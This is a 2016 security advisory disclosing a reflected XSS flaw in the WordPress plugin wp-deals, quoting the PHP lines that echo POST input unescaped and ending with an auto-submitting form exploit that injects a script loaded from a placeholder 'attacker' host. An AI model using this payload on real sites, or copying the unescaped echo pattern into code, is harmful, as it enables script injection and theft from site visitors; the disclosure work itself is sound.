Advisory #: 1160
Title: Reflected XSS in wordpress plugin wp-deals v2.0.1.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-deals
Downloads: 36870
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-deals
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-deals/wpdeals-templates/myaccount/login.php: 43: <input type="text" class="input-text" name="username" id="reg_username" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /> 47: <input type="email" class="input-text" name="email" id="reg_email" <?php if (isset($_POST['email'])) echo $_POST['email']; ?> /> The variable username appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-deals/wpdeals-templates/myaccount/login.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/wp-deals/wpdeals-templates/myaccount/login.php method=post> <input type=hidden name=username value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>